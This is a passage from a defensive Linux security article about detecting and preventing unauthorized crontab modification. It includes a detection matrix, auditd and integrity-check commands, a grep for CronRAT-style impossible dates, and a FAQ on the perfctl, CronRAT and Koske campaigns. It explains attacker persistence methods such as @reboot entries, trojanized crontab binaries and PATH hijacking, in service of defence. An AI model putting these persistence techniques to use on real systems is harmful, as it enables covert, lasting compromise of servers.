New crontab entry (direct write) YES YES NO YES
Append to existing cron script YES PARTIAL NO YES
New file in /etc/cron.d/ YES YES NO YES
@reboot entry added YES YES NO YES
cron.allow / cron.deny modified YES YES NO YES
Trojanized crontab binary (perfctl) NO PARTIAL YES PARTIAL
$PATH hijack hiding cron entries NO NO YES (profile) PARTIAL
Impossible-date entry (CronRAT) NO NO NO PARTIAL*

The matrix makes the limitation of any single approach visible. Auditd watch rules cover file-level writes but cannot detect a compromised binary that lies about file contents. Binary integrity checking catches the compromised binary scenario but runs periodically rather than in real time. Manual audit catches the widest range of techniques -- but only if it is performed after a binary integrity check confirms the tools being used are trustworthy, and only if the reviewer also inspects schedule fields for impossible dates such as February 31st, which the CronRAT family uses to hide payloads entirely within the entry name itself while generating no detectable file event.

Wrapping Up

Cron is old, ubiquitous, and largely invisible during normal operations. That combination makes it genuinely useful for legitimate automation with cron jobs and shell scripts and genuinely dangerous when an attacker reaches it. The techniques covered here -- from a single @reboot entry to a fully trojanized crontab binary -- represent a real and documented threat, not a theoretical one.

The operational takeaways are concrete. Deploy auditd watch rules covering every cron file location. Monitor for crontab writes originating from processes that are not the crontab binary or a package manager. Enumerate all user crontabs periodically and read the raw spool files during incident response. Implement /etc/cron.allow as a whitelist and harden file permissions on the cron directories. Verify the integrity of the crontab binary itself on any server that may have been compromised.

If the perfctl campaign proved anything, it is that the inspection tool is part of the attack surface. A defender who trusts crontab -l without first verifying the binary is looking at a potential illusion. CronRAT extends this further: even reading the raw files faithfully will not reveal a CronRAT payload if the reviewer only looks at command fields and ignores the schedule specification. The raw files on disk are the ground truth -- but the full content of every field must be read, not just the parts an administrator normally focuses on.

For the broader context of Linux persistence mechanisms -- including systemd service and timer abuse, shell initialization hijacking, and SUID backdoors -- the Elastic Security Labs primer on Linux persistence mechanisms provides an excellent framework. For the operational complement to this article on the server side, see the guide to disabling root SSH login and the SSH audit and hardening practitioner's guide.

How to Detect and Prevent Unauthorized Crontab Modification on Linux

The five steps below synthesize the detection, verification, and hardening guidance from this article into a sequential procedure. Follow them in order during a routine audit or after any suspected compromise.

  1. Enumerate all user and system crontabs. Loop through /etc/passwd to check every account: for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null; done. Read raw spool files directly with cat /var/spool/cron/crontabs/* rather than relying on crontab -l if binary compromise is suspected. Also inspect /etc/crontab, /etc/cron.d/, and the time-based directories.
  2. Scan schedule fields for impossible dates. Run grep -r "31.*2" /var/spool/cron/crontabs/ /etc/cron.d/ /etc/crontab to surface CronRAT-style entries such as February 31st (date spec 52 23 31 2 3). Review the full raw content of each crontab entry, not just the command fields.
  3. Verify crontab binary integrity. Run debsums -c (Debian/Ubuntu) or rpm -V crontabs (RPM-based systems) to detect trojanized crontab, top, lsof, or ldd binaries. Run type -a crontab to check for PATH hijacking. Inspect /etc/profile and per-user shell init files for unauthorized $PATH prepends.
  4. Enable auditd watch rules for all cron paths. Add -w rules to /etc/audit/rules.d/cron.rules covering every cron file location with -p wa -k cron. Reload with augenrules --load. Query events with ausearch -k cron and alert in your SIEM when a cron-tagged write comes from any process other than the crontab binary or a package manager.
  5. Harden access controls and permissions. Create /etc/cron.allow listing only authorized users and delete /etc/cron.deny. Set chmod 600 /etc/crontab and chmod 700 on all cron directories. Ship cron and auditd logs to a remote SIEM so an attacker with root cannot erase local evidence.
Attacker Decision Simulator // What would you do?

FAQ

How do attackers use crontab to maintain persistence on Linux?

Attackers add malicious entries directly to /var/spool/cron/crontabs/ user files, drop scripts into /etc/cron.d/ or the time-based directories, append commands to existing cron scripts using shell redirection, or use the @reboot directive to ensure execution at every system startup. Advanced campaigns like perfctl go further and replace the crontab binary itself with a trojanized version that hides the malicious entries from administrators running crontab -l.

What MITRE ATT&CK technique covers unauthorized crontab modification?

Unauthorized crontab modification is documented under MITRE ATT&CK T1053.003 -- Scheduled Task/Job: Cron. It is classified as a persistence and privilege escalation technique applicable to Linux and Unix-like operating systems, including VMware ESXi environments where cron jobs must be created directly via the crontab file.

How do you detect unauthorized crontab modifications on Linux?

Use auditd watch rules targeting /etc/crontab, /etc/cron.d/, /var/spool/cron/crontabs/, and the time-based cron directories. Monitor for crontab file creations or renames triggered by processes that are not the crontab binary itself. Regularly enumerate all user crontabs by iterating /etc/passwd and verify system binary integrity with debsums or rpm -V to detect trojanized crontab utilities. When reviewing crontab content manually, also inspect the schedule specification fields for impossible dates -- a technique used by the CronRAT malware family to hide payloads where conventional monitoring does not look.

What is CronRAT and how does it evade crontab detection?

CronRAT is a Linux remote access trojan discovered by Sansec in November 2021. It schedules tasks to run on February 31st -- a date that is syntactically valid in the cron format but does not exist on the calendar. Because the date never arrives, the cron daemon never executes the entry. The malicious payload is not in the command field at all; it is encoded through multiple layers of base64 compression and stored within the task name itself. CronRAT was deployed against e-commerce servers to inject server-side Magecart payment skimmers. At the time of discovery, Sansec's analysis found that on VirusTotal, 12 antivirus engines were unable to process the malicious file at all, and 58 additional engines did not detect it as a threat -- meaning the overwhelming majority of security products at the time were blind to it. Detecting CronRAT requires scanning the raw schedule fields of every crontab entry for impossible date combinations, not just watching for file writes.

Are Linux attackers still using cron for persistence in 2025 and 2026?

Yes. Cron-based persistence remains a staple technique across a wide range of threat actor sophistication levels. The Koske campaign, documented in July 2025 by Aqua Security's Aqua Nautilus team, is an AI-assisted Linux cryptomining operation that gains initial access through misconfigured JupyterLab instances and deploys cron entries running every 30 minutes and at every reboot to maintain recurring payload execution -- alongside custom systemd services, RC script modifications, and shell initialization hijacking. Multiple mid-2025 campaigns targeting exposed cloud services and container management interfaces combined cron and systemd persistence to survive defensive countermeasures. The Rocke group has used /etc/cron.hourly/ scripts continuously since at least 2018. Cron's reliability, reboot persistence, and near-universal presence on Linux servers means it remains a first-choice or reliable-fallback mechanism regardless of how initial access was achieved.

What NIST controls apply to cron security on Linux?

Several controls in NIST SP 800-53 Revision 5 map directly to cron security. AU-2 (Event Logging) and SI-4 (System Monitoring) cover the auditd watch rules and SIEM alerting described in this article. SI-7 (Software, Firmware, and Information Integrity) covers binary integrity verification -- the core lesson from perfctl's trojanized crontab utility. CM-6 (Configuration Settings) and CM-7 (Least Functionality) cover the /etc/cron.allow whitelist and directory permission hardening. AC-6 (Least Privilege) applies to restricting which accounts can schedule jobs at all. IR-4 (Incident Handling) governs the response steps: network isolation before reboot, full persistence enumeration before cleanup, and binary trust verification before relying on any inspection tool. NIST SP 800-123 (Guide to General Server Security) provides the OS hardening context, and NIST SP 800-190 (Application Container Security Guide) is applicable when cron persistence appears in containerized environments or via exposed container management APIs.

Knowledge Check

Five scenario-based questions to test your understanding of the techniques and defenses covered in this article.

Knowledge Check // Cron Security 1 / 5
Final Score

Sources